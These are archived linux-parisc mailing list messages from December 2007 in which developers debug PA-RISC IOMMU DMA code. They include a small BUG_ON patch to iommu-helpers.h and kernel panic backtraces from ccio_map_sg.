X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: segv doing execv
Date: Thu, 27 Dec 2007 23:12:23 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <119aab440712272012g3ff7c5c6n5e16437bc5dd6003@mail.gmail.com>
References: <119aab440712271425s8df1ed5i37749ad6c541f8ae@mail.gmail.com>
	 <200712272328.lBRNSI6s028957@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1198815157 25197 80.91.229.12 (28 Dec 2007 04:12:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 28 Dec 2007 04:12:37 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 28 05:12:49 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J86aW-0003Sd-O7
	for glpp-linux-parisc@gmane.org; Fri, 28 Dec 2007 05:12:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752907AbXL1EM0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 27 Dec 2007 23:12:26 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754090AbXL1EM0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 27 Dec 2007 23:12:26 -0500
Original-Received: from rv-out-0910.google.com ([209.85.198.189]:42484 "EHLO
	rv-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752907AbXL1EMZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 27 Dec 2007 23:12:25 -0500
Original-Received: by rv-out-0910.google.com with SMTP id k20so3157220rvb.1
        for <linux-parisc@vger.kernel.org>; Thu, 27 Dec 2007 20:12:23 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        bh=azs4A6Y2uMZ2/i9csDHWfvjHmD+hxJBEmVXHpd7CpoU=;
        b=oefJG4TqpbXTaLXSB8AJzfxxv1nZv02j0d9ijdJjhCkBxFiV3bS6yDBtaZUrVSB4yT9Tlz5yEX3wdAD6Soa+qrMvYPULihRvR7DoYudJRBq2duUsTXMoX/gqeVuOZwV+hm7DtZVygiwX5O6Sx7VHJI3KQow5TqFjfXGLMzSbPkM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=M2SlpIcjsD3nZHzRuzuMSSnfQFIgXs3bx3YGj7CbFkqFi8i6scWvXJcA1dRsTy6m6E9H1JTijYQTXX5QO5w8P1R3XWPwywi4pT7fsJU4UCr3UBLWM2Ne5DRpakbQetWfVinhL3TIfr3TJZMes/Zvd0Um2goVR4/a2fyfGzoUwCo=
Original-Received: by 10.140.142.4 with SMTP id p4mr4464660rvd.261.1198815143405;
        Thu, 27 Dec 2007 20:12:23 -0800 (PST)
Original-Received: by 10.140.207.9 with HTTP; Thu, 27 Dec 2007 20:12:23 -0800 (PST)
In-Reply-To: <200712272328.lBRNSI6s028957@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 54084cbfb95a2ca8
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:51
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/51>

On Dec 27, 2007 6:28 PM, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> That's cool but how do does CodeSourcery actually fix the "kernel"?

By writing reproducible test cases and giving them to the the Linux kernel
vendor, who in turn gets their kernel engineers to fix the bug :-)

> > Not a clue. How did you capture the failure in the debugger?
>
> With a core dump!  Actually, I was hoping you might recognize the assembler
> code and understand what failed ;)

I don't recognize the assembler dump as any particularly important
sequence.

> I'm currently trying to use the debug libraries.  It seems gdb won't
> load the debug libraries when a failure occurs with non-debug libs.

Do you actually mean "stripped libraries" vs. "unstripped libraries?"

Cheers,
Carlos.
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: iommu-helpers.h patch
Date: Fri, 28 Dec 2007 00:56:10 -0700
Lines: 37
Approved: news@gmane.org
Message-ID: <20071228075610.GD17782@colo.lackof.org>
References: <476D1509.1070601@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1198828601 17653 80.91.229.12 (28 Dec 2007 07:56:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 28 Dec 2007 07:56:41 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: rubisher <rubisher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 28 08:56:53 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J8A5L-0000zQ-Er
	for glpp-linux-parisc@gmane.org; Fri, 28 Dec 2007 08:56:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751548AbXL1H42 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 28 Dec 2007 02:56:28 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752429AbXL1H42
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 28 Dec 2007 02:56:28 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:40801 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751548AbXL1H42 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 28 Dec 2007 02:56:28 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 0F2C133823D;
	Fri, 28 Dec 2007 00:56:27 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09994-03; Fri, 28 Dec 2007 00:56:11 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 27F173382BB; Fri, 28 Dec 2007 00:56:11 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <476D1509.1070601@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:52
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/52>

On Sat, Dec 22, 2007 at 01:45:45PM +0000, rubisher wrote:
> Hello *,
>
> This seems to be missed a while ago ;-)
>
> --- drivers-parisc-iommu-helpers.h-git20071218	2007-12-21 
> 19:02:38.000000000 +0000
> +++ drivers-parisc-iommu-helpers.h-git20071218.new	2007-12-22 
> 13:39:04.000000000 +0000
> @@ -29,7 +29,7 @@
>  		long size;
>
>  		DBG_RUN_SG(" %d : %08lx/%05x %08lx/%05x\n", nents,
> -			   (unsigned long)sg_dma_address(startsg), cnt,
> +			   (unsigned long)sg_dma_address(startsg), size,

Sorry - but this is wrong. "size" isn't initialized until later.
"cnt" was the thing I needed/wanted dumped.

cheers,
grant

>  			   sg_virt_addr(startsg), startsg->length
>  		);
> === <> ===
>
> Cheers,
> 	r.
> -
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: iommu_fill_pdir() and its /* Horrible hack. ... */ reading.
Date: Fri, 28 Dec 2007 01:27:02 -0700
Lines: 92
Approved: news@gmane.org
Message-ID: <20071228082702.GE17782@colo.lackof.org>
References: <476CFFE3.3040102@scarlet.be> <20071223093903.GA30259@colo.lackof.org> <476EE63A.9080807@scarlet.be> <20071224085159.GC15161@colo.lackof.org> <47729007.8030807@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1198830453 21604 80.91.229.12 (28 Dec 2007 08:27:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 28 Dec 2007 08:27:33 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: rubisher <rubisher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 28 09:27:46 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J8AZC-0006iE-LS
	for glpp-linux-parisc@gmane.org; Fri, 28 Dec 2007 09:27:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751708AbXL1I1V (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 28 Dec 2007 03:27:21 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752858AbXL1I1V
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 28 Dec 2007 03:27:21 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:41432 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751708AbXL1I1U (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 28 Dec 2007 03:27:20 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 817473382B4;
	Fri, 28 Dec 2007 01:27:19 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11348-04; Fri, 28 Dec 2007 01:27:02 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 6619433823D; Fri, 28 Dec 2007 01:27:02 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <47729007.8030807@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:53
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/53>

Hi,

On Wed, Dec 26, 2007 at 05:31:51PM +0000, rubisher wrote:
> Hello Grant,
>
> I suspecting a possible issue with this hack in your iommu_fill_pdir():
>
> you initialized dma_sg with the adress of startsg (/* pointer to current 
> DMA */)
> then before the loop you dma_sg--;

Yes. The comment before that line explains why it does that.

...
> Now in the while (nents-- > 0), suppose the test "if 
> (sg_dma_address(startsg) & PIDE_FLAG) {" failed,

Do you have any evidence this test has failed when dma_sg is pointing
at garbage?

While possible, that would be a bug in iommu_coalesce_chunks()
for not setting PIDE_FLAG.

> so later in the loop the "sg_dma_len(dma_sg) += startsg->length" (which is 
> actually "dma_sg->iova_length += startsg->length" ) imo could corrupt 
> something?

Yes, that would be the result. Can you try a bug catcher to prove
that's something is actually getting corrupted?

Add something like the following around line 65 (before "sg_dma_len(dma_sg)"
is assigned):
	BUG_ON(dma_sg < startsg);


On the same note, line 44 is clearly wrong:
 41                 if (sg_dma_address(startsg) & PIDE_FLAG) {
 42                         u32 pide = sg_dma_address(startsg) & ~PIDE_FLAG;
 43 
 44                         BUG_ON(pdirp && (dma_len != sg_dma_len(dma_sg)));
 45 
 46                         dma_sg++;

The BUG_ON at line 44 might fail when it shouldn't (and vice versa).
My preference is to remove it or put "#ifdef DEBUG_IOMMU" around
that line of code (not literally, but effectively).


In general, I didn't like the "pre-decrement" but it seems to work and
makes the code a bit more efficient. Efficiency is extremely important
for this code since it gets called so often. Small changes can have
easily measured impact.

> That said I tried to re-use the first implementation of jejb (what was in 
> ccio-dma.c before this patch 
> <http://cvs.parisc-linux.org/linux-2.6/drivers/parisc/ccio-dma.c?r1=1.12&r2=1.13> 
> but that doesn't seems to fix the ccio-dma issue at all: I can still read 
> those kind of message at the console while doing such copy
> [snip]
> scsi1: (4:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG IN
> scsi1: Bus Reset detected, executing command 10953600, slot 109708a4, dsp 
> 001301e8[01e8] 

I'm thinking we really need SCSI bus traces to figure out if the SCSI driver
is doing the right thing and if not, exactly what is it doing.

If it is a CCIO bug, my guess is it's more likely to be problems with
setting magic bits.  We really need the ERS to review register settings.

..
> (the scsi1 is the lasi scsi hba as sources and the target being the disks 
> on ncr53c720 hba)
>
> or experimenting fs issues on this target disks?

I doubt this is a file system problem.

> That said ok I will wait either U2/Uturn ers public doc or all volonteers 
> feedback.

I'm skeptical for the former and hopeful for the latter.
There is a chance Linux Foundation could ask HP for those docs under NDA.
But you need to sign up with Linux Foundataion as a developer and
then request HP for those docs.

cheers,
grant
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rubisher <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: iommu_fill_pdir() and its /* Horrible hack. ... */ reading.
Date: Fri, 28 Dec 2007 15:27:04 +0000
Lines: 292
Approved: news@gmane.org
Message-ID: <477515C8.1000204@scarlet.be>
References: <476CFFE3.3040102@scarlet.be> <20071223093903.GA30259@colo.lackof.org> <476EE63A.9080807@scarlet.be> <20071224085159.GC15161@colo.lackof.org> <47729007.8030807@scarlet.be> <20071228082702.GE17782@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1198855667 23355 80.91.229.12 (28 Dec 2007 15:27:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 28 Dec 2007 15:27:47 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 28 16:27:51 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J8H7e-00066Y-8L
	for glpp-linux-parisc@gmane.org; Fri, 28 Dec 2007 16:27:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754035AbXL1P1U (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 28 Dec 2007 10:27:20 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754123AbXL1P1U
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 28 Dec 2007 10:27:20 -0500
Original-Received: from weequay.is.scarlet.be ([193.74.71.24]:38196 "EHLO
	weequay.is.scarlet.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754035AbXL1P1T (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 28 Dec 2007 10:27:19 -0500
Original-Received: from (ip-213-49-88-221.dsl.scarlet.be [213.49.88.221])
        by weequay.is.scarlet.be  with ESMTP id lBSFRAF09288;
        Fri, 28 Dec 2007 16:27:10 +0100
User-Agent: Mozilla-Thunderbird 2.0.0.6 (X11/20071009)
In-Reply-To: <20071228082702.GE17782@colo.lackof.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:54
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/54>

Grant Grundler wrote:
> Hi,
> 
> On Wed, Dec 26, 2007 at 05:31:51PM +0000, rubisher wrote:
>> Hello Grant,
>>
>> I suspecting a possible issue with this hack in your iommu_fill_pdir():
>>
>> you initialized dma_sg with the adress of startsg (/* pointer to current 
>> DMA */)
>> then before the loop you dma_sg--;
> 
> Yes. The comment before that line explains why it does that.
> 
> ...
>> Now in the while (nents-- > 0), suppose the test "if 
>> (sg_dma_address(startsg) & PIDE_FLAG) {" failed,
> 
> Do you have any evidence this test has failed when dma_sg is pointing
> at garbage?
> 
> While possible, that would be a bug in iommu_coalesce_chunks()
> for not setting PIDE_FLAG.
> 
>> so later in the loop the "sg_dma_len(dma_sg) += startsg->length" (which is 
>> actually "dma_sg->iova_length += startsg->length" ) imo could corrupt 
>> something?
> 
> Yes, that would be the result. Can you try a bug catcher to prove
> that's something is actually getting corrupted?
> 
> Add something like the following around line 65 (before "sg_dma_len(dma_sg)"
> is assigned):
> 	BUG_ON(dma_sg < startsg);
> 
> 
> On the same note, line 44 is clearly wrong:
>  41                 if (sg_dma_address(startsg) & PIDE_FLAG) {
>  42                         u32 pide = sg_dma_address(startsg) & ~PIDE_FLAG;
>  43 
>  44                         BUG_ON(pdirp && (dma_len != sg_dma_len(dma_sg)));
>  45 
>  46                         dma_sg++;
> 
> The BUG_ON at line 44 might fail when it shouldn't (and vice versa).
> My preference is to remove it or put "#ifdef DEBUG_IOMMU" around
> that line of code (not literally, but effectively).
> 
Good idea:
here is the patch I used:
Index: linux-current/drivers/parisc/iommu-helpers.h
===================================================================
--- linux-current.orig/drivers/parisc/iommu-helpers.h   2007-12-28 12:59:35.000000000 +0000
+++ linux-current/drivers/parisc/iommu-helpers.h        2007-12-28 12:45:29.000000000 +0000
@@ -22,14 +22,14 @@
         /* Horrible hack.  For efficiency's sake, dma_sg starts one
          * entry below the true start (it is immediately incremented
          * in the loop) */
-        dma_sg--;
+       dma_sg--;

         while (nents-- > 0) {
                 unsigned long vaddr;
                 long size;

                 DBG_RUN_SG(" %d : %08lx/%05x %08lx/%05x\n", nents,
-                          (unsigned long)sg_dma_address(startsg), cnt,
+                          (unsigned long)sg_dma_address(startsg), sg_dma_len(startsg),
                            sg_virt_addr(startsg), startsg->length
                 );

@@ -41,7 +41,9 @@
                 if (sg_dma_address(startsg) & PIDE_FLAG) {
                         u32 pide = sg_dma_address(startsg) & ~PIDE_FLAG;

+#ifdef DEBUG_IOMMU
                         BUG_ON(pdirp && (dma_len != sg_dma_len(dma_sg)));
+#endif

                         dma_sg++;

@@ -62,6 +64,7 @@
                         prefetchw(pdirp);
                 }

+               BUG_ON(dma_sg < startsg);
                 BUG_ON(pdirp == NULL);

                 vaddr = sg_virt_addr(startsg);
=== <> ===

And :<(
------------[ cut here ]------------ 

kernel BUG at /CAD/linux-2.6.23-pa-git-20071022/drivers/parisc/iommu-helpers.h:67! 

 

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI 

PSW: 00000000000001001111011100001110 Not tainted 

r00-03  0004f70e fff0bdc0 10212064 107dd000 

r04-07  00000000 10880d48 00000001 00000006 

r08-11  108fc8a0 10440e10 00000001 108fc8a0 

r12-15  10000000 00008000 00000005 0000000e 

r16-19  1084c800 1081880c 10387964 007dc005 

r20-23  10491000 00001000 00000000 00000005 

r24-27  107dc000 07dc0000 10880d40 103dee10 

r28-31  00000000 00000000 10819080 108fc8b4 

sr00-03  00000000 00000000 00000000 00000000 

sr04-07  00000000 00000000 00000000 00000000 

 

IASQ: 00000000 00000000 IAOQ: 102120a8 102120ac 

  IIR: 03ffe01f    ISR: 00000000  IOR: 108fc8b4 

  CPU:        0   CR30: 10818000 CR31: f01043c0 

  ORIG_R28: aac6ca23 

  IAOQ[0]: ccio_map_sg+0x22c/0x3a8 

  IAOQ[1]: ccio_map_sg+0x230/0x3a8 

  RP(r2): ccio_map_sg+0x1e8/0x3a8 

Backtrace: 

  [<10107164>] die_if_kernel+0xa0/0x1b0 

  [<10107898>] handle_interruption+0x624/0x6b4 

  [<1010b078>] intr_check_sig+0x0/0x34 

  [<10121574>] enqueue_task+0x28/0x44 

  [<102120ac>] ccio_map_sg+0x230/0x3a8 

  [<10171428>] do_filp_open+0x54/0x68 

  [<10211fd8>] ccio_map_sg+0x15c/0x3a8 

  [<10266d2c>] scsi_dma_map+0x48/0x58 

  [<1027597c>] NCR_700_queuecommand+0x38c/0x504 

  [<10260368>] scsi_dispatch_cmd+0x118/0x288 

  [<1026664c>] scsi_request_fn+0x184/0x2e0 

  [<101fb440>] __generic_unplug_device+0x38/0x44 

  [<101fb7fc>] generic_unplug_device+0x14/0x24 

  [<101f841c>] blk_backing_dev_unplug+0x1c/0x28 

  [<10198b18>] sync_buffer+0x38/0x50 

  [<1019ab20>] __bread+0x90/0xec 

 

Kernel panic - not syncing: Attempted to kill init!

but there must be something wrong in this test because same change applied to iommu-helper without 'horrible hack' panic at 
the same place:
------------[ cut here ]------------
kernel BUG at /CAD/linux-2.6.23-pa-git-20071022/drivers/parisc/iommu-helpers.h:64!

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111011100001110 Not tainted
r00-03  0004f70e fff0bdc0 10212068 107dd000
r04-07  00000000 108fc8b4 108fc8a0 10880d48
r08-11  00000006 10440e10 00000001 00000001
r12-15  1084c800 108fc8a0 10000000 00008000
r16-19  00000005 0000000e 10387964 007dc005
r20-23  10491000 00000000 00000000 00000005
r24-27  107dc000 07dc0000 10880d40 103dee10
r28-31  000007dc 00002ee0 10819080 00000000
sr00-03  00000000 00000000 00000000 00000000
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 102120b0 102120b4
  IIR: 03ffe01f    ISR: 00000000  IOR: 00000000
  CPU:        0   CR30: 10818000 CR31: f01043c0
  ORIG_R28: aac6ca23
  IAOQ[0]: ccio_map_sg+0x234/0x3ac
  IAOQ[1]: ccio_map_sg+0x238/0x3ac
  RP(r2): ccio_map_sg+0x1ec/0x3ac
Backtrace:
  [<10107164>] die_if_kernel+0xa0/0x1b0
  [<10107898>] handle_interruption+0x624/0x6b4
  [<1010b078>] intr_check_sig+0x0/0x34
  [<10121a84>] __wake_up_common+0x7c/0xcc
  [<101713c0>] nameidata_to_filp+0x44/0x58
  [<10171428>] do_filp_open+0x54/0x68
  [<10211fd8>] ccio_map_sg+0x15c/0x3ac
  [<10266d30>] scsi_dma_map+0x48/0x58
  [<10275980>] NCR_700_queuecommand+0x38c/0x504
  [<1026036c>] scsi_dispatch_cmd+0x118/0x288
  [<10266650>] scsi_request_fn+0x184/0x2e0
  [<101fb440>] __generic_unplug_device+0x38/0x44
  [<101fb7fc>] generic_unplug_device+0x14/0x24
  [<101f841c>] blk_backing_dev_unplug+0x1c/0x28
  [<10198b18>] sync_buffer+0x38/0x50
  [<1019ab20>] __bread+0x90/0xec

Kernel panic - not syncing: Attempted to kill init!
Rebooting in 10 seconds..

So we could only guess that the other BUG_ON(pdirp == NULL); do well its job and you have right I have no evidence that 
something is actually corrupted.

> 
> In general, I didn't like the "pre-decrement" but it seems to work and
> makes the code a bit more efficient. Efficiency is extremely important
> for this code since it gets called so often. Small changes can have
> easily measured impact.
> 
Understand, eventhought for my linux learning only I prefer a more robust code
>> That said I tried to re-use the first implementation of jejb (what was in 
>> ccio-dma.c before this patch 
>> <http://cvs.parisc-linux.org/linux-2.6/drivers/parisc/ccio-dma.c?r1=1.12&r2=1.13> 
>> but that doesn't seems to fix the ccio-dma issue at all: I can still read 
>> those kind of message at the console while doing such copy
>> [snip]
>> scsi1: (4:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG IN
>> scsi1: Bus Reset detected, executing command 10953600, slot 109708a4, dsp 
>> 001301e8[01e8] 
> 
> I'm thinking we really need SCSI bus traces to figure out if the SCSI driver
> is doing the right thing and if not, exactly what is it doing.
> 
Well, submitted some stress test (the loop of disk read/write with a tar -xf linux-2.6.11.tar) on the same disk but 
connected to a b180 (i.e. using same ncr53c710 driver for the same lasi hba but without ccio-dma driver) didn't showed any 
failures.
(for the ncr53c720 hba, i didn't have any other system to test it without ccio-dma ;<( )

> If it is a CCIO bug, my guess is it's more likely to be problems with
> setting magic bits.  We really need the ERS to review register settings.
> 
> ..
>> (the scsi1 is the lasi scsi hba as sources and the target being the disks 
>> on ncr53c720 hba)
>>
>> or experimenting fs issues on this target disks?
> 
> I doubt this is a file system problem.

No, it's a ext3 which I use on severall other hp model (b180, b2k so without ccio-dma) without any issues

> 
>> That said ok I will wait either U2/Uturn ers public doc or all volonteers 
>> feedback.
> 
> I'm skeptical for the former and hopeful for the latter.
> There is a chance Linux Foundation could ask HP for those docs under NDA.
> But you need to sign up with Linux Foundataion as a developer and
> then request HP for those docs.
> 
Well I am not actualy a developer, just an engineer (not in computer science) trying to help but may be is it enough to sign 
up with Linux Foundation?
If yes, can you send me a link to request papers?

tx again,
	r.

PS: This c110 boxe was more reliable (I mean I could easily update system frequently, build kernel, ...) when it was equiped 
with 512M RAM; it became not any more usable when I had to decrease this ram size to original one (i.e. 64M)?

> cheers,
> grant
> 
> 

-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rubisher <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: iommu-helpers.h patch
Date: Fri, 28 Dec 2007 15:27:26 +0000
Lines: 76
Approved: news@gmane.org
Message-ID: <477515DE.7090403@scarlet.be>
References: <476D1509.1070601@scarlet.be> <20071228075610.GD17782@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1198855667 23356 80.91.229.12 (28 Dec 2007 15:27:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 28 Dec 2007 15:27:47 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 28 16:27:59 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J8H7t-00066Y-Te
	for glpp-linux-parisc@gmane.org; Fri, 28 Dec 2007 16:27:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754116AbXL1P1h (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 28 Dec 2007 10:27:37 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754123AbXL1P1g
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 28 Dec 2007 10:27:36 -0500
Original-Received: from guri.is.scarlet.be ([193.74.71.22]:48781 "EHLO
	guri.is.scarlet.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754116AbXL1P1g (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 28 Dec 2007 10:27:36 -0500
Original-Received: from (ip-213-49-88-221.dsl.scarlet.be [213.49.88.221])
        by guri.is.scarlet.be  with ESMTP id lBSFRW018539;
        Fri, 28 Dec 2007 16:27:32 +0100
